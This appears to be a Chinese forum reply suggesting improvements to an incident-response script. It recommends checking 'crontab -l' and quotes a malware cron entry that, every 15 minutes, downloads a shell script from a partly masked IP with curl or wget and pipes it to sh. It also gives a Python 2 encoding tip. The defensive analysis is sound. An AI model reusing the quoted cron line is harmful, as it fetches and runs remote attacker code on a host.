LxKxC

两点建议

1

查看计划任务， crontab -l 和 cat /etc/crontab 一起用稳妥点，您的脚本里面只有cat /etc/crontab， 执行一下并没有计划任务，反而是通过执行crontab -l 看到了病毒写入的计划任务： */15 * * * * (/usr/bin/hlvdfa3||/usr/libexec/hlvdfa3||/usr/local/bin/hlvdfa3||/tmp/hlvdfa3||curl -m180 -fsSL http://110.*.*.13:8000/i.sh||wget -q -T180 -O- http://110.*.*.13:8000/i.sh) | sh 其次就是，您在Python2的程序中包含了中文，这是一个坑，如果在windows的cmd或者powershell中执行python auto_yingji.py 的话，如果py文件字符编码不是ansi，输出就会是乱码。想在windows终端下不输出乱码，就得用文本编辑器（我用notepad++）打开后“转为ANSI编码”保存后再去执行。